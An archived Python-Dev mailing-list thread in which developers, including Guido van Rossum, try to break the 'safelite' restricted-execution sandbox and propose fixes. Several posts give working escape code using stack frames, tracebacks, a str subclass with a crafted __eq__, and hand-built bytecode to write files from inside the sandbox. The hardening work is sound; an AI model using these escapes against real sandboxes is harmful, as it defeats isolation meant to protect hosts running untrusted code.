Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
Guido van Rossum wrote: On Mon, Feb 23, 2009 at 3:16 PM, Martin v. Löwis mar...@v.loewis.de wrote: Don't I remember the previous restricted module dying a similar death of 1,000 cuts before it was concluded to be unsafe at any height and abandoned? I think you are slightly misremembering. It got cut again and again, but never died. Then, new-style classes hit an artery, and it bled to death. I'm curious how this one fares. FWIW, I am remembering more about how Samuele cracked it. It had to do with getting the supervisor code to call one of its own functions with arguments provided by the sandboxed code. Tav's safelite.py doesn't seem to be directly exploitable that way because (using ctypes hacks) it *removes* some offending special methods. But that door would be at least slightly ajar with Tar's proposed patch to Python, as that doesn't remove the offending attributes (__subclasses__ etc.); it only forbids them in restricted mode. But this once again enables Samuele's hack. (Oh if I only could find the link with the actual attack -- it was quite a bit more devious than attacks linked to so far.) http://mail.python.org/pipermail/python-dev/2003-March/033978.html ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
tav wrote: 1. Remove ``compile`` from the safe builtins 2. Take out ``tb_frame`` Thoughts on which of the two options is better would be very appreciated! Given the context manager hack I just sent you (similar in spirit to Paul's, just using a context manager's __exit__() method to get hold of the traceback instead of hacked bytecode), I think we can safely say that tb_frame has to go. Cheers, Nick. -- Nick Coghlan | ncogh...@gmail.com | Brisbane, Australia --- ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
tav tav at espians.com writes: I've fixed this hole in safelite.py, but would be interested to know if there are other non-user-initiated dynamically imported modules? You'd better make __builtins__ read-only, it will plug a whole class of attacks like this. ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
Another hole. Not as devious as some, but easy to fix with yet another type check. And probably you want to get rid of get_frame from safelite. This trick notices 'buffering' is passed to open, which does an int coerce of non-int objects. I can look up the stack frames and get open_file, which I can then use for whatever I want. In this case, I used the hole to reimplement 'open' in its entirety. import safelite class GetAccess(object): def __init__(self, filename, mode, buffering): self.filename = filename self.mode = mode self.buffering = buffering self.f = None def __int__(self): # Get access to the calling frame. # (Strange that that function is available.) frame = safelite.get_frame(1) # Look at that nice function right there. open_file = frame.f_locals[open_file] # Get around restricted mode locals_d = {} exec def breakout(open_file, filename, mode, buffering): return open_file(filename, mode, buffering) in frame.f_globals, locals_d del frame # Call the function self.f = locals_d[breakout](open_file, self.filename, self.mode, self.buffering) # Jump outta here raise TypeError def open(filename, mode=r, buffering=0): get_access = GetAccess(filename, mode, buffering) try: safelite.FileReader(whatever, r, get_access) except TypeError: return get_access.f f = open(busted.txt, w) f.write(Broke out of jail!\n) f.close() print Message is:, repr(open(busted.txt).read()) Andrew Dalke da...@dalkescientific.com ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
Another hole. Not as devious as some, but easy to fix with yet another type check. This trick notices 'buffering' is passed to open, which does an int coerce of non-int objects. I can look up the stack frames and get open_file, which I can then use for whatever I want. In this case, I used the hole to reimplement 'open' in its entirety. import safelite class GetAccess(object): def __init__(self, filename, mode, buffering): self.filename = filename self.mode = mode self.buffering = buffering self.f = None def __int__(self): # Get access to the calling frame. # (Strange that that function is available, but I # could do it the old-fashioned way and raise/ # catch and exception) frame = safelite.get_frame(1) # Look at that nice function right there. open_file = frame.f_locals[open_file] # Get around restricted mode locals_d = {} exec def breakout(open_file, filename, mode, buffering): return open_file(filename, mode, buffering) in frame.f_globals, locals_d del frame # Call the function self.f = locals_d[breakout](open_file, self.filename, self.mode, self.buffering) # Jump outta here raise TypeError def open(filename, mode=r, buffering=0): get_access = GetAccess(filename, mode, buffering) try: safelite.FileReader(whatever, r, get_access) except TypeError: return get_access.f f = open(busted.txt, w) f.write(Broke out of jail!\n) f.close() print Message is:, repr(open(busted.txt).read()) Andrew Dalke da...@dalkescientific.com ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
antoine You'd better make __builtins__ read-only, it will antoine plug a whole class of attacks like this. I tried to put this off as long as I could to try and unearth interesting attacks. But unfortunately I couldn't figure out a way to fix the warnings approach used by Daniel without doing this -- so from v7 __builtins__ isn't shared any more. The good thing is that we won't have more of the __builtins__ class of attacks -- the flip side is that we might be closing the door on discovering some really interesting gems... andrew I can look up the stack frames and get andrew open_file, which I can then use for whatever I want. Ehm, thanks for taking the time to implement that Andrew. But the challenge was about doing `from safelite import FileReader`. I specifically stated that form over the openly exploitable `import safelite`... so, sorry =( You have to remember that this isn't the way that this code will actually be used in practise. This is just a challenge to see if the model holds... -- love, tav plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369 http://tav.espians.com | http://twitter.com/tav | skype:tavespian ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
On Feb, 24 2009 at 12:11PM, Antoine Pitrou solip...@pitrou.net wrote: tav tav at espians.com writes: I've fixed this hole in safelite.py, but would be interested to know if there are other non-user-initiated dynamically imported modules? You'd better make __builtins__ read-only, it will plug a whole class of attacks like this. I found very useful adding objects to the builtins namespace, but I'll prefer a standard and controlled way to do so. Something like a built-in function install, like the following which I use: import __builtin__, types _ValidBuiltinTypes = (types.BuiltinFunctionType, types.ClassType, types.FunctionType, types.GeneratorType, types.TypeType, functools.partial) def install(*Args, **Keys): '''Installs the given parameters in the builtins namespace. From Args will be installed only valid types (classes, functions and types), taking their __name__ attribute. Every keyword-value cuple from Keys will be installed as is.''' _NameSpace = __builtin__.__dict__ for Arg in Args: if isinstance(Arg, _ValidBuiltinTypes): _NameSpace[Arg.__name__] = Arg for Key, Value in Keys.iteritems(): _NameSpace[Key] = Value With a built-in install function a granular control can be implemented by the running Python implementation. Also, having builtins read only by default can be used in future compiler and virtual machine implementations to gain interesting optimizations. Cheers, Cesare ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
Hey Nick, Given the context manager hack I just sent you (similar in spirit to Paul's, just using a context manager's __exit__() method to get hold of the traceback instead of hacked bytecode) Thanks for this -- very cool! I think we can safely say that tb_frame has to go. I've fixed this in v8 -- got a website that I can link to for the blog? And instead of trying to make tb_frame go away, I'd like to add the following to my proposed patch of RESTRICTED attributes: * f_code * f_builtins * f_globals * f_locals That seems to do the trick... -- love, tav plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369 http://tav.espians.com | http://twitter.com/tav | skype:tavespian ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
tav t...@espians.com But the challenge was about doing `from safelite import FileReader`. Though it doesn't say so on the first post on this thread nor your page at http://tav.espians.com/a-challenge-to-break-python-security.html It says Now find a way to write to the filesystem from your interpreter. Which is what I did. Who's to say your final implementation will be more secure ;) But I see your point. Perhaps update the description for those misguided souls like me? This is just a challenge to see if the model holds I haven't been watching this discussion closely and I can't find mention of this - is the goal to support only 2.x or also support Python 3? Your model seems to assume 2.x only, and there may be 3.x attacks that aren't considered in the challenge. For example, in Python 3 I would use the __traceback__ method of the exception object to reach in and get the open function. That seems morally equivalent to what I did. I hacked out the parts of safelite.py which wouldn't work in Python3. Following is a variation on the theme. import safelite try: safelite.FileReader(/dev/null, r, x) except TypeError as err: frame = err.__traceback__.tb_next.tb_frame frame.f_locals[open_file](test.txt, w).write(done.) And instead of trying to make tb_frame go away, I'd like to add the following to my proposed patch of RESTRICTED attributes: * f_code * f_builtins * f_globals * f_locals which of course would make the above no longer work. Cheers, Andrew da...@dalkescientific.com ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
On Tue, Feb 24, 2009 at 3:05 PM, tav t...@espians.com wrote: And instead of trying to make tb_frame go away, I'd like to add the following to my proposed patch of RESTRICTED attributes: * f_code * f_builtins * f_globals * f_locals That seems to do the trick... A goal is to use this in App Engine, yes? Which uses cgitb to report errors? Which needs these restricted frame attributes to report the values of variables when the error occurred? Andrew Dalke da...@dalkescientific.com ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
Le Tuesday 24 February 2009 15:46:04 Andrew Dalke, vous avez écrit : And instead of trying to make tb_frame go away, I'd like to add the following to my proposed patch of RESTRICTED attributes: * f_code * f_builtins * f_globals * f_locals That seems to do the trick... A goal is to use this in App Engine, yes? Which uses cgitb to report errors? Which needs these restricted frame attributes to report the values of variables when the error occurred? We should be able to restore the original environment. Example: ... jail(evil_func) # called in the jail # unsafe environment with __subclasses__, f_code, etc. ... -- Victor Stinner aka haypo http://www.haypocalc.com/blog/ ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
Hey Andrew Victor, tav But the challenge was about doing `from safelite import FileReader`. Andrew Though it doesn't say so on the first post on this thread Andrew nor your page at Andrew http://tav.espians.com/a-challenge-to-break-python-security.html Sorry, perhaps I should have clearly instructed NOT to do `import safelite`. I thought the following text would have been clear enough: Open a fresh Python interpreter and do: from safelite import FileReader But I can see how that might not have been enough. I'll amend the second line to: from safelite import FileReader # AND NOT ``import safelite`` Would that be clearer? Andrew I haven't been watching this discussion closely Andrew and I can't find mention of this Sorry, the discussion has been meandering. It started on: * http://code.google.com/p/googleappengine/issues/detail?id=671 Then went onto: * http://codereview.appspot.com/21043/show And finally ended up here on Python-Dev to get approval for the patch. And in the process of getting the approval, the safelite challenge started... Andrew is the goal to support only 2.x or also support Andrew Python 3? Your model seems to assume 2.x Andrew only, and there may be 3.x attacks that aren't Andrew considered in the challenge. The model is suited for both 2.x and 3.x. The safelite test on the other hand is targeted at 2.x (starting from 2.5). You have a point with regards to there being 3.x attacks being out there. Perhaps we can get a 3.x compatible version of safelite out? tav And instead of trying to make tb_frame go away, I'd like tav to add the following to my proposed patch of tav RESTRICTED attributes [snip] Andrew which of course would make the above no longer work. The challenge helped identify those attributes. And will hopefully identify any other leak attributes which may still be there. Andrew A goal is to use this in App Engine, yes? Yes. Andrew Which uses cgitb to report errors? Which needs these Andrew restricted frame attributes to report the values of Andrew variables when the error occurred? The frame attributes will still be accessible by cgitb. Python's existing IsRestricted framework in the interpreter will take care of that. It's genius!! Victor We should be able to restore the original environment. Victor Example: Victor jail(evil_func) # called in the jail Victor # unsafe environment with __subclasses__, f_code, etc. Hmz, Python's IsRestricted already enables this. I think it's time that I wrote some documentation that Martin wanted explaining Python's already existing IsRestricted support. Besides a few lines here and there, there seems to be no comprehensive documentation on this that I can find anywhere. And I think this may be the cause of much confusion? Would that help? -- love, tav plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369 http://tav.espians.com | http://twitter.com/tav | skype:tavespian ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
At 03:52 PM 2/24/2009 +0100, Victor Stinner wrote: Le Tuesday 24 February 2009 15:46:04 Andrew Dalke, vous avez écrit : A goal is to use this in App Engine, yes? Which uses cgitb to report errors? Which needs these restricted frame attributes to report the values of variables when the error occurred? We should be able to restore the original environment. Example: ... jail(evil_func) # called in the jail # unsafe environment with __subclasses__, f_code, etc. ... Of course, you'll have to ensure that anything you do with data from the jail is also jailed... that callbacks run in the jail, etc. (This is one advantage of the RestrictedPython approach -- the jailing of the restricted code isn't dependent on some global state; it's wired right into the restricted code.) ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
I didn't see Tav actually say this but are we all agreed that compile() should be removed from __builtins__? ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
On Mon, Feb 23, 2009 at 11:07 PM, tav t...@espians.com wrote: guido I can access the various class and metaclass objects guido easily [snip] It would've been possible to replace __call__ on the metaclass -- which, though not a security leak by itself, could've been abused for some fun. I've inlined the __metaclass__ to prevent fun of this kind. In fact you don't need a metaclass at all. I think you could do something like this in your Namespace() function: ...compute ns_items as before... class NamespaceObject(object): __slots__ = () for name, value in ns_items: setattr(NamespaceObject, name, value) return NamespaceObject() But the really tricky one so far is this hardcore hack that Paul Cannon emailed in: from safelite import FileReader __builtins__.TypeError = type(lambda: 0)(type(compile('1', 'b', 'eval'))(2, 2, 4, 67, 'y\x08\x00t\x00\x00\x01Wn\x09\x00\x01\x01a\x00\x00n\x01\x00X|\x01\x00|\x00\x00\x83\x01\x00S', (None,), ('stuff',), ('g', 'x'), 'q', 'f', 1, ''), globals(), None, (TypeError,)) try: ... FileReader('foo', 2) ... except: ... pass ... stuff.tb_frame.f_back.f_locals['open_file']('w00t', 'w').write('yaymore\n') That is a known loophole that makes anything possible (mostly segfaults, for sure). App Engine also stops you from doing this. He explains it in detail here: http://thepaulprog.blogspot.com/2009/02/safelite-exploit.html It's very cool! He uses the ``compile`` builtin to get hold of the CodeType and then uses that to construct a nifty function with custom bytecode. Turns out that with the bytecode one can grab traceback objects off of the stack!! And, from there, it's just a mere attribute access away to get hold of traceback.tb_frame! Paul, wisely, outlines the two possible options to remedy this: 1. Remove ``compile`` from the safe builtins 2. Take out ``tb_frame`` 3. Disallow creating code objects from their constructor in restricted mode. Please add this to your restricted patch. (I still think your challenge would be more realistic if you didn't share __builtins__ but instead relied on restricted mode more.) If compile is not present and given that func_code and gi_code are not present -- are there other ways of getting at the CodeType? If there aren't then getting rid of compile gives us an easy win. You can also create code objects by unmarshalling them. This should also be prevented in restricted mode. If getting rid of tb_frame is the approach -- then you were right Guido -- there are more variables which need to be restricted! But, this just makes the patch into 7 lines of code instead of 6, so I'm still happy =) Restricting tb_frame is probably a good idea on its own; in 3.0 you won't have to work so hard to get access to a traceback object, since each exception has one. OTOH traceback.py uses some things from the frame, but maybe we'll just have to forego that (or provide selected R/O access to some frame attributes deemed benign). The only thing I can't figure out is how to get rid of the attribute using ctypes for the safelite challenge as calling dictionary_of(TracebackType) in safelite.py presents a very minimal {'__doc__': None} I don't know anything about ctypes or dictionary_of(). Maybe you need to raise an exception first so that PyType_Ready is called? The source is in Python/traceback.c. Also, the comments in Lib/types.py states: # In the restricted environment, exc_info returns (None, None, # None) Then, tb.tb_frame gives an attribute error I can't seem to find the place in the Python source where exc_info() behaves differently under restricted mode... I'm guessing this refers to a pseudo-implementation of sys.exc_info() provided by rexec.py. Thoughts on which of the two options is better would be very appreciated! And thanks for the ongoing hacks guys -- this is turning out great!! -- love, tav plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369 http://tav.espians.com | http://twitter.com/tav | skype:tavespian -- --Guido van Rossum (home page: http://www.python.org/~guido/) ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
On Tue, Feb 24, 2009 at 6:46 AM, Andrew Dalke da...@dalkescientific.com wrote: On Tue, Feb 24, 2009 at 3:05 PM, tav t...@espians.com wrote: And instead of trying to make tb_frame go away, I'd like to add the following to my proposed patch of RESTRICTED attributes: * f_code * f_builtins * f_globals * f_locals That seems to do the trick... A goal is to use this in App Engine, yes? Which uses cgitb to report errors? Which needs these restricted frame attributes to report the values of variables when the error occurred? The goal is not to run the entire app in the sandbox. The goal (Tav's goal I should say -- I don't have this need myself :-) is for an app to be able to safely run snippets of Python uploaded by users of the app. I think it's fine if those snippets can't format beautiful tracebacks -- the app's own ability to do so is not affected. -- --Guido van Rossum (home page: http://www.python.org/~guido/) ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
On Tue, Feb 24, 2009 at 7:24 AM, Jeff Hall hall.j...@gmail.com wrote: I didn't see Tav actually say this but are we all agreed that compile() should be removed from __builtins__? I personally disagree -- I think we should instead add restrictions on the creation of new code objects by calling the constructor directly. Calling compile() should be fine. -- --Guido van Rossum (home page: http://www.python.org/~guido/) ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
On Tue, Feb 24, 2009 at 12:27 AM, tav t...@espians.com wrote: Daniel emailed in the exploit below and it is pretty devastating. It takes advantage of the fact that the warnings framework in 2.6+ dynamically imports modules without being explicitly called!! I've fixed this hole in safelite.py, but would be interested to know if there are other non-user-initiated dynamically imported modules? Thanks Daniel for bringing this to our attention! Grep the source for PyImport. -- --Guido van Rossum (home page: http://www.python.org/~guido/) ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
print ''' tav wrote: Daniel emailed in the exploit below and it is pretty devastating. It takes advantage of the fact that the warnings framework in 2.6+ dynamically imports modules without being explicitly called!! Here's one I couldn't develop to a working exploit, but think is promising. It highlights a real Python bug and an implementation detail. Targets 2.6 or trunk. It was how I stumbled upon the _warnings hack :) Should be copy-n-past'able, Daniel ''' # Hi from safelite import FileReader # First, it's possible to set a booby-trapped # Exception due to a Python bug # This is bait, say hi bait def bait(): ''' Hi! ''' try: return bait() except: return Ready to go # Set the trap bait() # Let FileReader trigger it - RuntimeError in Namespace: FileReader('safelite.py') # ^- shoud give: # Traceback (most recent call last): # File stdin, line 1, in module # File safelite.py, line 242, in FileReader # self = Namespace() # File safelite.py, line 165, in Namespace # for name, obj in sys.get_frame_locals(frame) \ # .iteritems(): # RuntimeError: maximum recursion depth exceeded # # Now, I think this might be a special RuntimeError... # Let's catch it! Bait, please? bait() try: FileReader('safelite.py') except Exception, caught: pass # Let's brand it caught.__init__(I'm back, the other side is scary!) # Now set it free and see if it comes back bait() try: FileReader('safelite.py') except Exception, caught_again: pass # Who's there? print caught_again # - He's back! # So, hm, that's it... not so exciting but might help # traceback-based exploits. Did I mention little 'caught' # there can carry arbitrary payloads? Nice boy. # Another one # # Now, that we have a protection against _warnings, # an obvious bait-less new trap is available # Got a spare SystemError? FileReader('safelite.py', 'r', 1.1) # ^- shoud give: # Traceback (most recent call last): # File stdin, line 1, in module # File safelite.py, line 201, in FileReader #fileobj = open_file(filename, mode, buffering) # SystemError: Objects/moduleobject.c:50: bad argument \ # to internal function # Nice, but I want a cleaner one. Hey, caught, could you? print caught.message # ^- shoud give: # Traceback (most recent call last): # File stdin, line 1, in module # SystemError: Objects/moduleobject.c:50: bad argument \ # to internal function # This seems to be a regular SystemError. It's not as # polite as our pet RuntimeError 'caught', which can # be silenced by intervening Exceptions. # As I should stop playing with this, here's # a plea for help: set 'caught' free before you go. # Here's the target: freedom class freedom(object): def __repr__(self): print list(sorted(globals()['__builtins__'].keys())) print '\n\n\n' return str(input('Type for freedom:\n ;) ')) # Initiate caught on it caught.__init__(freedom()) # Set the bait... bait() # Now, type something clever :) FileReader('safelite.py') ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
On Mon, 23 Feb 2009 23:22:19 +, tav wrote: Steve, this isn't death by a 1,000 cuts. What's being put forward here is not a specific implementation -- but rather a specific model of security (the object capability model) -- which has been proven to be foolproof. Proven? Isn't it impossible to prove something like this? Nobody ever see an alien is not a proof for There is no alien. Nobody have thought of a way to break the model is not a proof for The model is invincible... ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
Lie Ryan wrote: On Mon, 23 Feb 2009 23:22:19 +, tav wrote: Steve, this isn't death by a 1,000 cuts. What's being put forward here is not a specific implementation -- but rather a specific model of security (the object capability model) -- which has been proven to be foolproof. Proven? Isn't it impossible to prove something like this? Nobody ever see an alien is not a proof for There is no alien. Nobody have thought of a way to break the model is not a proof for The model is invincible... Quite. regards Steve -- Steve Holden+1 571 484 6266 +1 800 494 3119 Holden Web LLC http://www.holdenweb.com/ ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
I take it back, we need to find all the trivial ones too. Agreed! BTW Tav, you ought to create a small website for this challenge. A blog post or wiki page would suffice. Done. http://tav.espians.com/a-challenge-to-break-python-security.html Please blog/retweet and of course, try the challenge yourselves =) -- love, tav plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369 http://tav.espians.com | http://twitter.com/tav | skype:tavespian ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
TWIW, on Twitter, Ian Bicking just came up with a half-solution. I figured out the other half. I guess you own Ian drinks and me dinner. :-) $ python Python 2.5.3a0 (release25-maint:64494, Jun 23 2008, 19:17:09) [GCC 4.0.3 (Ubuntu 4.0.3-1ubuntu5)] on linux2 Type help, copyright, credits or license for more information. from safelite import FileReader class S(str): ... def __eq__(self, o): print o; return 'r' == o ... f = FileReader('w00t', S('w')) r f.close() $ ls -l w00t -rw-r- 1 guido eng 0 Feb 23 14:50 w00t $ On Mon, Feb 23, 2009 at 2:41 PM, tav t...@espians.com wrote: I take it back, we need to find all the trivial ones too. Agreed! BTW Tav, you ought to create a small website for this challenge. A blog post or wiki page would suffice. Done. http://tav.espians.com/a-challenge-to-break-python-security.html Please blog/retweet and of course, try the challenge yourselves =) -- love, tav plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369 http://tav.espians.com | http://twitter.com/tav | skype:tavespian -- --Guido van Rossum (home page: http://www.python.org/~guido/) ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
Don't I remember the previous restricted module dying a similar death of 1,000 cuts before it was concluded to be unsafe at any height and abandoned? regards Steve Guido van Rossum wrote: TWIW, on Twitter, Ian Bicking just came up with a half-solution. I figured out the other half. I guess you own Ian drinks and me dinner. :-) $ python Python 2.5.3a0 (release25-maint:64494, Jun 23 2008, 19:17:09) [GCC 4.0.3 (Ubuntu 4.0.3-1ubuntu5)] on linux2 Type help, copyright, credits or license for more information. from safelite import FileReader class S(str): ... def __eq__(self, o): print o; return 'r' == o ... f = FileReader('w00t', S('w')) r f.close() $ ls -l w00t -rw-r- 1 guido eng 0 Feb 23 14:50 w00t $ On Mon, Feb 23, 2009 at 2:41 PM, tav t...@espians.com wrote: I take it back, we need to find all the trivial ones too. Agreed! BTW Tav, you ought to create a small website for this challenge. A blog post or wiki page would suffice. Done. http://tav.espians.com/a-challenge-to-break-python-security.html Please blog/retweet and of course, try the challenge yourselves =) -- Steve Holden+1 571 484 6266 +1 800 494 3119 Holden Web LLC http://www.holdenweb.com/ ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
Sorry, it wasn't Ian Bicking. I have no idea what made me thing that. I guess I am not yet an experienced Tweeter. :-( It was Mark Eichin, CC'ed here. --Guido On Mon, Feb 23, 2009 at 2:51 PM, Guido van Rossum gu...@python.org wrote: TWIW, on Twitter, Ian Bicking just came up with a half-solution. I figured out the other half. I guess you own Ian drinks and me dinner. :-) $ python Python 2.5.3a0 (release25-maint:64494, Jun 23 2008, 19:17:09) [GCC 4.0.3 (Ubuntu 4.0.3-1ubuntu5)] on linux2 Type help, copyright, credits or license for more information. from safelite import FileReader class S(str): ... def __eq__(self, o): print o; return 'r' == o ... f = FileReader('w00t', S('w')) r f.close() $ ls -l w00t -rw-r- 1 guido eng 0 Feb 23 14:50 w00t $ On Mon, Feb 23, 2009 at 2:41 PM, tav t...@espians.com wrote: I take it back, we need to find all the trivial ones too. Agreed! BTW Tav, you ought to create a small website for this challenge. A blog post or wiki page would suffice. Done. http://tav.espians.com/a-challenge-to-break-python-security.html Please blog/retweet and of course, try the challenge yourselves =) -- love, tav plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369 http://tav.espians.com | http://twitter.com/tav | skype:tavespian -- --Guido van Rossum (home page: http://www.python.org/~guido/) -- --Guido van Rossum (home page: http://www.python.org/~guido/) ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
Don't I remember the previous restricted module dying a similar death of 1,000 cuts before it was concluded to be unsafe at any height and abandoned? I think you are slightly misremembering. It got cut again and again, but never died. Then, new-style classes hit an artery, and it bled to death. I'm curious how this one fares. Regards, Martin ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
guido class S(str): guido ... def __eq__(self, o): print o; return 'r' == o guido [snip] Very devious -- @eichin and Guido! You guys get the price for the cutest exploit yet -- but sadly no dinner or drinks -- that was just for the first crack -- which goes to Victor =) steve Don't I remember the previous restricted module dying a steve similar death of 1,000 cuts before it was concluded steve to be unsafe at any height and abandoned? Steve, this isn't death by a 1,000 cuts. What's being put forward here is not a specific implementation -- but rather a specific model of security (the object capability model) -- which has been proven to be foolproof. The question here is whether Python can support that. And, my belief is that it can. Besides the really nice __eq__ hack, the other exploits so far are just an inappropriate setup of the environment -- the trick with object capability is *ensuring* that unsafe references aren't passed to untrusted code. In an earlier version of safelite, I even returned the actual file object when f.close() was called... oops! But that doesn't invalidate the model or the possibility of using it in Python. What would invalidate it is someone finding a way to bypass it completely in Python and this challenge is an attempt to see if we can find such a way. -- love, tav plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369 http://tav.espians.com | http://twitter.com/tav | skype:tavespian ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
On Mon, Feb 23, 2009 at 3:16 PM, Martin v. Löwis mar...@v.loewis.de wrote: Don't I remember the previous restricted module dying a similar death of 1,000 cuts before it was concluded to be unsafe at any height and abandoned? I think you are slightly misremembering. It got cut again and again, but never died. Then, new-style classes hit an artery, and it bled to death. I'm curious how this one fares. FWIW, I am remembering more about how Samuele cracked it. It had to do with getting the supervisor code to call one of its own functions with arguments provided by the sandboxed code. Tav's safelite.py doesn't seem to be directly exploitable that way because (using ctypes hacks) it *removes* some offending special methods. But that door would be at least slightly ajar with Tar's proposed patch to Python, as that doesn't remove the offending attributes (__subclasses__ etc.); it only forbids them in restricted mode. But this once again enables Samuele's hack. (Oh if I only could find the link with the actual attack -- it was quite a bit more devious than attacks linked to so far.) -- --Guido van Rossum (home page: http://www.python.org/~guido/) ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
